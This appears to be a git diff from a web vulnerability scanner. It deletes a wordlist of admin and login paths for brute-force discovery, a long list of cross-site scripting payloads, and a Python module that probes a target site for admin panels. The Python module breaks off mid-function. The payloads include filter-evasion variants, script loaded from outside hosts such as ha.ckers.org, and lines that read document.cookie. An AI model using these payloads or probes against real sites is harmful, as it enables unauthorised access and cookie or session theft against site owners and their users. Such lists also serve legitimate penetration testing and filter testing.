/moderator.%EXT%
|
||||
/moderator/
|
||||
/controlpanel/
|
||||
/controlpanel.%EXT%
|
||||
/admincontrol.%EXT%
|
||||
/adminpanel.%EXT%
|
||||
/fileadmin/
|
||||
/fileadmin.%EXT%
|
||||
/sysadmin.%EXT%
|
||||
/admin1.%EXT%
|
||||
/admin1.html
|
||||
/admin1.htm
|
||||
/admin2.%EXT%
|
||||
/admin2.html
|
||||
/yonetim.%EXT%
|
||||
/yonetim.html
|
||||
/yonetici.%EXT%
|
||||
/yonetici.html
|
||||
/phpmyadmin/
|
||||
/myadmin/
|
||||
/ur-admin.%EXT%
|
||||
/ur-admin/
|
||||
/Server.%EXT%
|
||||
/Server/
|
||||
/wp-admin/
|
||||
/administr8.%EXT%
|
||||
/administr8/
|
||||
/webadmin/
|
||||
/webadmin.%EXT%
|
||||
/administratie/
|
||||
/admins/
|
||||
/admins.%EXT%
|
||||
/administrivia/
|
||||
/Database_Administration/
|
||||
/useradmin/
|
||||
/sysadmins/
|
||||
/sysadmins/
|
||||
/admin1/
|
||||
/system-administration/
|
||||
/administrators/
|
||||
/pgadmin/
|
||||
/directadmin/
|
||||
/staradmin/
|
||||
/ServerAdministrator/
|
||||
/SysAdmin/
|
||||
/administer/
|
||||
/LiveUser_Admin/
|
||||
/sys-admin/
|
||||
/typo3/
|
||||
/panel/
|
||||
/cpanel/
|
||||
/cpanel_file/
|
||||
/platz_login/
|
||||
/rcLogin/
|
||||
/blogindex/
|
||||
/formslogin/
|
||||
/autologin/
|
||||
/manuallogin/
|
||||
/simpleLogin/
|
||||
/loginflat/
|
||||
/utility_login/
|
||||
/showlogin/
|
||||
/memlogin/
|
||||
/login-redirect/
|
||||
/sub-login/
|
||||
/wp-login/
|
||||
/login1/
|
||||
/dir-login/
|
||||
/login_db/
|
||||
/xlogin/
|
||||
/smblogin/
|
||||
/customer_login/
|
||||
/UserLogin/
|
||||
/login-us/
|
||||
/acct_login/
|
||||
/bigadmin/
|
||||
/project-admins/
|
||||
/phppgadmin/
|
||||
/pureadmin/
|
||||
/sql-admin/
|
||||
/radmind/
|
||||
/openvpnadmin/
|
||||
/wizmysqladmin/
|
||||
/vadmind/
|
||||
/ezsqliteadmin/
|
||||
/hpwebjetadmin/
|
||||
/newsadmin/
|
||||
/adminpro/
|
||||
/Lotus_Domino_Admin/
|
||||
/bbadmin/
|
||||
/vmailadmin/
|
||||
/Indy_admin/
|
||||
/ccp14admin/
|
||||
/irc-macadmin/
|
||||
/banneradmin/
|
||||
/sshadmin/
|
||||
/phpldapadmin/
|
||||
/macadmin/
|
||||
/administratoraccounts/
|
||||
/admin4_account/
|
||||
/admin4_colon/
|
||||
/radmind-1/
|
||||
/Super-Admin/
|
||||
/AdminTools/
|
||||
/cmsadmin/
|
||||
/SysAdmin2/
|
||||
/globes_admin/
|
||||
/cadmins/
|
||||
/phpSQLiteAdmin/
|
||||
/navSiteAdmin/
|
||||
/server_admin_small/
|
||||
/logo_sysadmin/
|
||||
/power_user/
|
||||
/system_administration/
|
||||
/ss_vms_admin_sm/
|
||||
/bb-admin/
|
||||
/panel-administracion/
|
||||
/instadmin/
|
||||
/memberadmin/
|
||||
/administratorlogin/
|
||||
/adm.%EXT%
|
||||
/admin_login.%EXT%
|
||||
/panel-administracion/login.%EXT%
|
||||
/pages/admin/admin-login.%EXT%
|
||||
/pages/admin/
|
||||
/acceso.%EXT%
|
||||
/admincp/login.%EXT%
|
||||
/admincp/
|
||||
/adminarea/
|
||||
/admincontrol/
|
||||
/affiliate.%EXT%
|
||||
/adm_auth.%EXT%
|
||||
/memberadmin.%EXT%
|
||||
/administratorlogin.%EXT%
|
||||
/modules/admin/
|
||||
/administrators.%EXT%
|
||||
/siteadmin/
|
||||
/siteadmin.%EXT%
|
||||
/adminsite/
|
||||
/kpanel/
|
||||
/vorod/
|
||||
/vorod.%EXT%
|
||||
/vorud/
|
||||
/vorud.%EXT%
|
||||
/adminpanel/
|
||||
/PSUser/
|
||||
/secure/
|
||||
/webmaster/
|
||||
/webmaster.%EXT%
|
||||
/autologin.%EXT%
|
||||
/userlogin.%EXT%
|
||||
/admin_area.%EXT%
|
||||
/cmsadmin.%EXT%
|
||||
/security/
|
||||
/usr/
|
||||
/root/
|
||||
/secret/
|
||||
/admin/login.%EXT%
|
||||
/admin/adminLogin.%EXT%
|
||||
/moderator.php
|
||||
/moderator.html
|
||||
/moderator/login.%EXT%
|
||||
/moderator/admin.%EXT%
|
||||
/yonetici.%EXT%
|
||||
/0admin/
|
||||
/0manager/
|
||||
/aadmin/
|
||||
/cgi-bin/login%EXT%
|
||||
/login1%EXT%
|
||||
/login_admin/
|
||||
/login_admin%EXT%
|
||||
/login_out/
|
||||
/login_out%EXT%
|
||||
/login_user%EXT%
|
||||
/loginerror/
|
||||
/loginok/
|
||||
/loginsave/
|
||||
/loginsuper/
|
||||
/loginsuper%EXT%
|
||||
/login%EXT%
|
||||
/logout/
|
||||
/logout%EXT%
|
||||
/secrets/
|
||||
/super1/
|
||||
/super1%EXT%
|
||||
/super_index%EXT%
|
||||
/super_login%EXT%
|
||||
/supermanager%EXT%
|
||||
/superman%EXT%
|
||||
/superuser%EXT%
|
||||
/supervise/
|
||||
/supervise/Login%EXT%
|
||||
/super%EXT%
|
||||
|
|
@ -1,298 +0,0 @@
|
|||
\x3c
|
||||
\x3C
|
||||
\u003c
|
||||
\u003C
|
||||
<
|
||||
%3C
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<script>alert(123)</script>
|
||||
<script>alert("hellox worldss");</script>
|
||||
javascript:alert("hellox worldss")
|
||||
<img src="javascript:alert('XSS');">
|
||||
<img src=javascript:alert("XSS")>
|
||||
<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
|
||||
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
|
||||
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
|
||||
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
|
||||
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<<SCRIPT>alert("XSS");//<</SCRIPT>
|
||||
<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
|
||||
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search
|
||||
<script>alert("hellox worldss")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510
|
||||
<script>alert("XSS");</script>&search=1
|
||||
0&q=';alert(String.fromCharCode(88,83,83))//\';alert%2?8String.fromCharCode(88,83,83))//";alert(String.fromCharCode?(88,83,83))//\";alert(String.fromCharCode(88,83,83)%?29//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search
|
||||
<h1><font color=blue>hellox worldss</h1>
|
||||
<BODY ONLOAD=alert('hellox worldss')>
|
||||
<input onfocus=write(XSS) autofocus>
|
||||
<input onblur=write(XSS) autofocus><input autofocus>
|
||||
<body onscroll=alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
|
||||
<form><button formaction="javascript:alert(XSS)">lol
|
||||
<!--<img src="--><img src=x onerror=alert(XSS)//">
|
||||
<![><img src="]><img src=x onerror=alert(XSS)//">
|
||||
<style><img src="</style><img src=x onerror=alert(XSS)//">
|
||||
<? foo="><script>alert(1)</script>">
|
||||
<! foo="><script>alert(1)</script>">
|
||||
</ foo="><script>alert(1)</script>">
|
||||
<? foo="><x foo='?><script>alert(1)</script>'>">
|
||||
<! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>">
|
||||
<% foo><x foo="%><script>alert(123)</script>">
|
||||
<div style="font-family:'foo ;color:red;';">LOL
|
||||
LOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>
|
||||
<script>({0:#0=alert/#0#/#0#(0)})</script>
|
||||
<svg xmlns="http://www.w3.org/2000/svg">LOL<script>alert(123)</script></svg>
|
||||
<SCRIPT>alert(/XSS/.source)</SCRIPT>
|
||||
\\";alert('XSS');//
|
||||
</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>
|
||||
<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">
|
||||
<BODY BACKGROUND=\"javascript:alert('XSS')\">
|
||||
<BODY ONLOAD=alert('XSS')>
|
||||
<IMG DYNSRC=\"javascript:alert('XSS')\">
|
||||
<IMG LOWSRC=\"javascript:alert('XSS')\">
|
||||
<BGSOUND SRC=\"javascript:alert('XSS');\">
|
||||
<BR SIZE=\"&{alert('XSS')}\">
|
||||
<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>
|
||||
<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">
|
||||
<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">
|
||||
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
|
||||
<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">
|
||||
<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>
|
||||
<XSS STYLE=\"behavior: url(xss.htc);\">
|
||||
<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS
|
||||
<IMG SRC='vbscript:msgbox(\"XSS\")'>
|
||||
<IMG SRC=\"mocha:[code]\">
|
||||
<IMG SRC=\"livescript:[code]\">
|
||||
žscriptualert(EXSSE)ž/scriptu
|
||||
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">
|
||||
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">
|
||||
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\"
|
||||
<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>
|
||||
<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>
|
||||
<TABLE BACKGROUND=\"javascript:alert('XSS')\">
|
||||
<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">
|
||||
<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">
|
||||
<DIV STYLE=\"background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029\">
|
||||
<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">
|
||||
<DIV STYLE=\"width: expression(alert('XSS'));\">
|
||||
<STYLE>@im\port'\ja\vasc\ript:alert(\"XSS\")';</STYLE>
|
||||
<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">
|
||||
<XSS STYLE=\"xss:expression(alert('XSS'))\">
|
||||
exp/*<A STYLE='no\xss:noxss(\"*//*\");
|
||||
xss:ex/*XSS*//*/*/pression(alert(\"XSS\"))'>
|
||||
<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>
|
||||
<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>
|
||||
<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>
|
||||
<!--[if gte IE 4]>
|
||||
<SCRIPT>alert('XSS');</SCRIPT>
|
||||
<![endif]-->
|
||||
<BASE HREF=\"javascript:alert('XSS');//\">
|
||||
<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>
|
||||
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
|
||||
<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>
|
||||
<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>
|
||||
a=\"get\";
|
||||
b=\"URL(\\"\";
|
||||
c=\"javascript:\";
|
||||
d=\"alert('XSS');\\")\";
|
||||
eval(a+b+c+d);
|
||||
<HTML xmlns:xss><?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"><xss:xss>XSS</xss:xss></HTML>
|
||||
<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]>
|
||||
</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
|
||||
<XML ID=\"xss\"><I><B><IMG SRC=\"javas<!-- -->cript:alert('XSS')\"></B></I></XML>
|
||||
<SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>
|
||||
<XML SRC=\"xsstest.xml\" ID=I></XML>
|
||||
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
|
||||
<HTML><BODY>
|
||||
<?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\">
|
||||
<?import namespace=\"t\" implementation=\"#default#time2\">
|
||||
<t:set attributeName=\"innerHTML\" to=\"XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>\">
|
||||
</BODY></HTML>
|
||||
<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>
|
||||
<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"-->
|
||||
<? echo('<SCR)';
|
||||
echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>
|
||||
<IMG SRC=\"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\">
|
||||
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
|
||||
<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<SCRIPT>alert('XSS')</SCRIPT>\">
|
||||
<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
|
||||
<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
|
||||
<SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
|
||||
<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
|
||||
<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
|
||||
<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
|
||||
<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
|
||||
<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
|
||||
<A HREF=\"http://66.102.7.147/\">XSS</A>
|
||||
<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A>
|
||||
<A HREF=\"http://1113982867/\">XSS</A>
|
||||
<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A>
|
||||
<A HREF=\"http://0102.0146.0007.00000223/\">XSS</A>
|
||||
<A HREF=\"htt p://6 6.000146.0x7.147/\">XSS</A>
|
||||
<A HREF=\"//www.google.com/\">XSS</A>
|
||||
<A HREF=\"//google\">XSS</A>
|
||||
<A HREF=\"http://ha.ckers.org@google\">XSS</A>
|
||||
<A HREF=\"http://google:ha.ckers.org\">XSS</A>
|
||||
<A HREF=\"http://google.com/\">XSS</A>
|
||||
<A HREF=\"http://www.google.com./\">XSS</A>
|
||||
<A HREF=\"javascript:document.location='http://www.google.com/'\">XSS</A>
|
||||
<A HREF=\"http://www.gohttp://www.google.com/ogle.com/\">XSS</A>
|
||||
<iframe src=http://ha.ckers.org/scriptlet.html>
|
||||
<IMG SRC=\"javascript:alert('XSS')\"
|
||||
<SCRIPT SRC=//ha.ckers.org/.js>
|
||||
<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>
|
||||
<<SCRIPT>alert(\"XSS\");//<</SCRIPT>
|
||||
<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
|
||||
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"XSS\")>
|
||||
<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
|
||||
<IMG SRC=\" javascript:alert('XSS');\">
|
||||
perl -e 'print \"<SCR\0IPT>alert(\\"XSS\\")</SCR\0IPT>\";' > out
|
||||
perl -e 'print \"<IMG SRC=java\0script:alert(\\"XSS\\")>\";' > out
|
||||
<IMG SRC=\"jav
ascript:alert('XSS');\">
|
||||
<IMG SRC=\"jav
ascript:alert('XSS');\">
|
||||
<IMG SRC=\"jav	ascript:alert('XSS');\">
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
|
||||
<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">
|
||||
<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>
|
||||
<IMG SRC=javascript:alert("XSS")>
|
||||
<IMG SRC=JaVaScRiPt:alert('XSS')>
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
<IMG SRC=\"javascript:alert('XSS');\">
|
||||
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
|
||||
'';!--\"<XSS>=&{()}
|
||||
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
|
||||
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
|
||||
'';!--"<XSS>=&{()}
|
||||
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
|
||||
<IMG SRC="javascript:alert('XSS');">
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
<IMG SRC=javascrscriptipt:alert('XSS')>
|
||||
<IMG SRC=JaVaScRiPt:alert('XSS')>
|
||||
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
|
||||
<IMG SRC="  javascript:alert('XSS');">
|
||||
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<<SCRIPT>alert("XSS");//<</SCRIPT>
|
||||
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
|
||||
\";alert('XSS');//
|
||||
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
|
||||
¼script¾alert(¢XSS¢)¼/script¾
|
||||
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
|
||||
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
|
||||
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
|
||||
<TABLE BACKGROUND="javascript:alert('XSS')">
|
||||
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
|
||||
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
|
||||
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
|
||||
<DIV STYLE="width: expression(alert('XSS'));">
|
||||
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
|
||||
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
|
||||
<XSS STYLE="xss:expression(alert('XSS'))">
|
||||
exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
|
||||
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
|
||||
a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('XSS');\")";eval(a+b+c+d+e);
|
||||
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
|
||||
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"></BODY></HTML>
|
||||
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<form id="test" /><button form="test" formaction="javascript:alert(123)">TESTHTML5FORMACTION
|
||||
<form><button formaction="javascript:alert(123)">crosssitespt
|
||||
<frameset onload=alert(123)>
|
||||
<!--<img src="--><img src=x onerror=alert(123)//">
|
||||
<style><img src="</style><img src=x onerror=alert(123)//">
|
||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
|
||||
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
|
||||
<embed src="javascript:alert(1)">
|
||||
<? foo="><script>alert(1)</script>">
|
||||
<! foo="><script>alert(1)</script>">
|
||||
</ foo="><script>alert(1)</script>">
|
||||
<script>({0:#0=alert/#0#/#0#(123)})</script>
|
||||
<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(123)}),x</script>
|
||||
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>
|
||||
<script src="#">{alert(1)}</script>;1
|
||||
<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>
|
||||
<svg xmlns="#"><script>alert(1)</script></svg>
|
||||
<svg onload="javascript:alert(123)" xmlns="#"></svg>
|
||||
<iframe xmlns="#" src="javascript:alert(1)"></iframe>
|
||||
+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
|
||||
%2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-
|
||||
+ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-
|
||||
%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-
|
||||
%253cscript%253ealert(document.cookie)%253c/script%253e
|
||||
“><s”%2b”cript>alert(document.cookie)</script>
|
||||
“><ScRiPt>alert(document.cookie)</script>
|
||||
“><<script>alert(document.cookie);//<</script>
|
||||
foo<script>alert(document.cookie)</script>
|
||||
<scr<script>ipt>alert(document.cookie)</scr</script>ipt>
|
||||
%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)’%3E
|
||||
‘; alert(document.cookie); var foo=’
|
||||
foo\’; alert(document.cookie);//’;
|
||||
</script><script >alert(document.cookie)</script>
|
||||
<img src=asdf onerror=alert(document.cookie)>
|
||||
<BODY ONLOAD=alert(’XSS’)>
|
||||
<script>alert(1)</script>
|
||||
"><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>
|
||||
<video src=1 onerror=alert(1)>
|
||||
<audio src=1 onerror=alert(1)>
|
||||
|
|
@ -1,110 +0,0 @@
|
|||
import os
|
||||
|
||||
try: # Python 2
|
||||
from urllib.request import urlopen
|
||||
from urllib.error import HTTPError
|
||||
except ImportError: # Python 3
|
||||
from urllib2 import urlopen, HTTPError
|
||||
|
||||
from var.auto_issue.github import request_issue_creation
|
||||
from lib.settings import (
|
||||
logger,
|
||||
replace_http,
|
||||
set_color,
|
||||
create_tree,
|
||||
fix_log_file
|
||||
)
|
||||
|
||||
|
||||
def check_for_admin_page(url, exts, protocol="http://", show_possibles=False, verbose=False):
|
||||
possible_connections, connections = set(), set()
|
||||
stripped_url = replace_http(url.strip())
|
||||
for ext in exts:
|
||||
ext = ext.strip()
|
||||
true_url = "{}{}{}".format(protocol, stripped_url, ext)
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"trying '{}'...".format(true_url), level=10
|
||||
))
|
||||
try:
|
||||
urlopen(true_url, timeout=5)
|
||||
logger.info(set_color(
|
||||
"connected successfully to '{}'...".format(true_url)
|
||||
))
|
||||
connections.add(true_url)
|
||||
except HTTPError as e:
|
||||
data = str(e).split(" ")
|
||||
if verbose:
|
||||
if "Access Denied" in str(e):
|
||||
logger.warning(set_color(
|
||||
"got access denied, possible control panel found without external access on '{}'...".format(
|
||||
true_url
|
||||
),
|
||||
level=30
|
||||
))
|
||||
possible_connections.add(true_url)
|
||||
else:
|
||||
logger.error(set_color(
|
||||
"failed to connect got error code {}...".format(
|
||||
data[2]
|
||||
), level=40
|
||||
))
|
||||
except Exception as e:
|
||||
if verbose:
|
||||
if "<urlopen error timed out>" or "timeout: timed out" in str(e):
|
||||
logger.warning(set_color(
|
||||
"connection timed out after five seconds "
|
||||
"assuming won't connect and skipping...", level=30
|
||||
))
|
||||
else:
|
||||
logger.exception(set_color(
|
||||
"failed to connect with unexpected error '{}'...".format(str(e)), level=50
|
||||
))
|
||||
fix_log_file()
|
||||
request_issue_creation()
|
||||
possible_connections, connections = list(possible_connections), list(connections)
|
||||
data_msg = "found {} possible connections(s) and {} successful connection(s)..."
|
||||
logger.info(set_color(
|
||||
data_msg.format(len(possible_connections), len(connections))
|
||||
))
|
||||
if len(connections) != 0:
|
||||
logger.info(set_color(
|
||||
"creating connection tree..."
|
||||
))
|
||||
create_tree(url, connections)
|
||||
else:
|
||||
logger.fatal(set_color(
|
||||
"did not find any successful connections to {}'s "
|
||||
"admin page", level=50
|
||||
))
|
||||
if show_possibles:
|
||||
if len(possible_connections) != 0:
|
||||
logger.info(set_color(
|
||||
"creating possible connection tree..."
|
||||
))
|
||||
create_tree(url, possible_connections)
|
||||
else:
|
||||
logger.fatal(set_color(
|
||||
"did not find any possible connections to {}'s "
|
||||
"admin page", level=50
|
||||
))
|
||||
|
||||
|
||||
def __load_extensions(filename="{}/etc/link_ext.txt"):
|
||||
with open(filename.format(os.getcwd())) as ext:
|
||||
return ext.readlines()
|
||||
|
||||
|
||||
def main(url, show=False, verbose=False):
|
||||
logger.info(set_color(
|
||||
"loading extensions..."
|
||||
))
|
||||
extensions = __load_extensions()
|
||||
